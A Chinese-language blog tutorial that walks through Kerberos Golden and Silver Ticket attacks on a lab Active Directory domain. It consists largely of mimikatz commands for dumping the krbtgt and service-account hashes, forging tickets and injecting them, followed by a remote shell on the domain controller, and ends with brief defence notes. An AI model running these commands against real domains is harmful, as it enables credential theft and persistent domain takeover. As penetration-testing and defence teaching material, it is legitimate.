内网安全之:黄金&白银票据传递域控制器权限维持

内网安全之:黄金&白银票据传递域控制器权限维持

1 Golden Ticket

  • Kerberos的黄金票据详解 - 渗透测试中心 - 博客园 (cnblogs.com)

  • 域环境中存在SID为502的域账号krbtgt,其是KDC服务使用的账号,属于Domain Admins组,在域环境中,每个用户账号的票据都是由krbtgt生成的,如果攻击者拿到了krbtgt 的 NTLM Hash或者 AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

    image-20211218221537513

  • 使用域的 Golden Ticket(黄金票据)进行票据传递时需要有以下条件:

    • 需要伪造的域管理员用户名。
    • 完整的域名。
    • 域SID。
    • krbtgt 的 NTLM Hash或AES-256值。

1.1 导出 krbtgt 的 NTLM Hash

# 在域控制器上使用mimikatz的 dcsync 功能远程转储活动目录中的 ntds.dit。指定/user只导出 krbtgt 账号的信息。
lsadump::dcsync /domain:test.lab /user:krbtgt
Hash NTLM: fa02a0e57e5ba9189d00990ae64e87ce
aes256_hmac: c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22

image-20211220230057078

1.2 获取基本信息

# 1.获取域 SID
wmic useraccount get name,sid

# 2.获取当前用户的SID
whoami /user
test\tester01 S-1-5-21-1207377116-2664972910-881425611-1104

# 3.查询域管理员账号
net group "domain admins" /domain

# 4.查询域名
ipconfig /all

image-20211220220820834

1.3 Kerberos 的黄金票操作过程

# 1.获取目标主机权限后,查看当前用户及其所属组
net user tester /domain

# 2.注入票据前权限测试,此时显示拒绝访问
dir \\dc\c$

# 3. 清空票据
kerberos::purge

# 4.利用 krbtgt 的 NTLM 生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /krbtgt:fa02a0e57e5ba9189d00990ae64e87ce /ticket:Administrator.kiribi
# 4.利用 krbtgt 的 AES-256 值生成包含 krbtgt 身份的票据
kerberos::golden /admin:Administrator /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /aes256:c93e94f96b1be279a3420f12615048780b92a8ce834c391fad6cdf6326690b22 /ticket:Administrator.kiribi

# 5.传递票据并注入内存
kerberos::ptt Administrator.kiribi

# 6.查看当前会话中的票据
kerberos::tgt

# 7.验证权限
cscript "wmiexec v1.1.vbs" /shell dc

image-20211220224757668

image-20211220225439967

1.4 防御

使用Golden Ticket 伪造的用户可以是任意用户(即使这个用户不存在)。因为 TGT的加密是由krbtgt完成的,所以,只要 TGT被krbtgt账户和密码正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。只有在如下两种情况下才能修改krbtgt密码。

  • 域功能级别从 Win2000或 Win2003提升至Win2008或Win 2012。在提升域功能的过程中,krbtgt 的密码会被自动修改。
  • 进行安全检查和相关服务加固时修改 krbtgt 的密码。

2 Silver Ticket

Kerberos的白银票据详解 (bbsmax.com)

Silver Ticket 与 Golden Ticket 的区别:

  • Silver Ticket(白银票据) 的利用过程是伪造 TGS,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志,而 Golden Ticket 在利用过程中需要由 KDC 颁发 TGT,并且在生成伪造的 TGT 的 20分钟内,TGS 不会对该 TGT 的真伪进行校验。
  • Silver Ticket 依赖于服务账号的密码散列值,这不同于 Golden Ticket 利用需要使用 krbtgt 账号的密码哈希值,因此更加隐蔽。
  • Silver Ticket 会通过相应的服务账号来伪造 TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS 等,范围有限,只能获取对应服务权限。而 Golden Ticket 使用 krbtgt 账号密码的哈希值,利用伪造高权限的 TGT 向 KDC 要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。
  • Silver Ticket 是由特定服务账号加密的,Golden Ticket 是由 krbtgt 账号加密的。

2.1 Silver Ticket 的操作过程

2.1.1 使用 Silver Ticket 伪造 CIFS 服务权限

# 1.在域成员主机上进行伪造前权限测试,此时显示拒绝访问
dir \\dc\c$

# 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31

# 3.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:cifs /user:tester01 /ptt

image-20211221100647277

image-20211221100603058

2.1.2 使用 Silver Ticket 伪造 LDAP服务权限

# 1.查看当前权限是否可以使用 dcsync 与控制器进行同步: 使用 dcsync 从域控制器中获取指定用户的账号和密码哈希值,例如 krbtgt。向域控制器获取 krbtgt 的密码哈希值失败,说明当前权限不能进行 dcsync 操作。
# 命令格式
lsadump::dcsync /dc:域DC /domain:域名 /user:域用户名
# 示例
lsadump::dcsync /dc:dc.test.lab /domain:test.lab /user:krbtgt

# 2.在域控制器中,获取服务账号的 NTLM Hash
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"
SID: S-1-5-21-1207377116-2664972910-881425611
NTLM: 0ab1159a13e96c208ff9400b6bbaef31

# 3.为了防止其他票据对实验进行干扰,先清除内存中的票据:
klist purge

# 4.在域成员机器上利用 mimikatz 生成伪造的 Silver Ticket 票据
# 命令格式
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<伪造的用户名> /ptt
# 示例
kerberos::golden /domain:test.lab /sid:S-1-5-21-1207377116-2664972910-881425611 /target:dc.test.lab /rc4:0ab1159a13e96c208ff9400b6bbaef31 /service:ldap /user:tester01 /ptt

2.2 Silver Ticket 可以用于伪造的服务

image-20211221111237832

2.3 Silver Ticket 防御

  • 在内网中安装杀毒软件,及时更新系统补丁。
  • 使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用
  • 计算机的账号和密码默认每30天更改次。 检查该设置是否生效
posted @ 2022-10-31 08:49  f_carey  阅读(393)  评论(0编辑  收藏  举报